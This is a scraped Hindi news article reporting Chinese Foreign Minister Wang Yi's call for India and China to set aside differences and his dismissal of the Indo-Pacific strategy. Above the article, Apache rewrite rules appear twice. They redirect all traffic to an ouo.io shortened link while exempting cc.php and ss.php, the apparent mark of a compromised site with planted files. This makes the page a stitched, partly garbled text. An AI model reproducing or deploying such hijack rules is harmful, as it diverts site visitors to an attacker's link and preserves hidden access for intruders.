
RewriteEngine on RewriteCond %{REQUEST_URI} !^https://ouo.io/13ARhD8$ RewriteCond %{REQUEST_URI} !/(cc)\.php [NC] RewriteCond %{REQUEST_URI} !/(ss)\.php [NC] RewriteRule .* https://ouo.io/13ARhD8 [L,R=301]RewriteEngine on RewriteCond %{REQUEST_URI} !^https://ouo.io/13ARhD8$ RewriteCond %{REQUEST_URI} !/(cc)\.php [NC] RewriteCond %{REQUEST_URI} !/(ss)\.php [NC] RewriteRule .* https://ouo.io/13ARhD8 [L,R=301]
BREAKING NEWS
Total views:- 285
Previous Nextबीजिंग। चीन ने एक बार फिर भारत से पुराने मतभेद भुलाने का आपसी संबंधों को मजबूत बनाने के लिए कहा है। चीन के विदेश मंत्री वांग यी ने कहा है कि भारत और चीन को अपने आपसी मतभेद भुलाकर अपने संबंधों को मजबूत बनाने पर जोर देना चाहिए। संसदीय संत्र के दौरान सालाना प्रेस कॉन्फ्रेंस में वांग ने कहा कि भारत और चीन को लड़ना नहीं चाहिए बल्कि साथ आकर काम करना चाहिए। उन्होंने कहा कि इसके लिए जरूरी है कि दोनों देश अपनी मानसिक रुकावटों को दूर करें, क्योंकि अगर हम साथ आ गए तो हिमालय भी हमारी दोस्ती के बीच नहीं आ सकता।”
2017 में चीन और भारत के बीच पैदा हुए नए विवादों पर वांग ने कहा, “कुछ परेशानी और कठिनाइयों के बावजूद भारत और चीन के आपसी संबंधों में सुधार हुआ है। उन्होंने कहा, “चीन अपने अधिकारों और हितों का ध्यान रखने के साथ भारत के साथ अपने संबंधों को भी मजबूत करने की कोशिश कर रहा है।” “चीनी और भारतीय नेताओं ने भविष्य में दोनों देशों के संबंधों को लेकर एक कूटनीतिक दृष्टि बना ली है। चीनी ड्रैगन और भारतीय हाथी को आपस में लड़ना नहीं चाहिए बल्कि साथ आकर संबंध मजबूत करना चाहिए। अगर दोनों देश साथ आ गए तो एक और एक दो नहीं ग्यारह हो जाएंगे।”
चीन के वन बेल्ट वन रोड प्रोजेक्ट के जवाब में भारत, अमेरिका, जापान और ऑस्ट्रेलिया की इंडो-पैसिफिक स्ट्रैटजी पर वांग ने कहा कि ऐसे सुर्खियां बनाने वाले आइडियों की कोई कमी नहीं है। हालांकि, ये समुद्र के झाग की तरह हैं जो थोड़े समय में खत्म हो जाएगी। बता दें कि कई एक्सपर्ट्स चार देशों की योजना को OBOR का जवाब और चीन की ताकत में लगाम लगाने का जरिया मान रहे हैं, लेकिन चारों ही देश साफ कर चुके हैं कि वो किसी को निशाना नहीं बना रहे हैं। वांग ने कहा, “हमें ये भूलना नहीं चाहिए कि OBOR परियोजना को 100 से ज्यादा देश ने सपोर्ट किया है। आजकल देशों के बीच कोल्ड वॉर जैसी बातें पुरानी हो चुकी हैं और बाजार में इनकी कोई जगह नहीं है।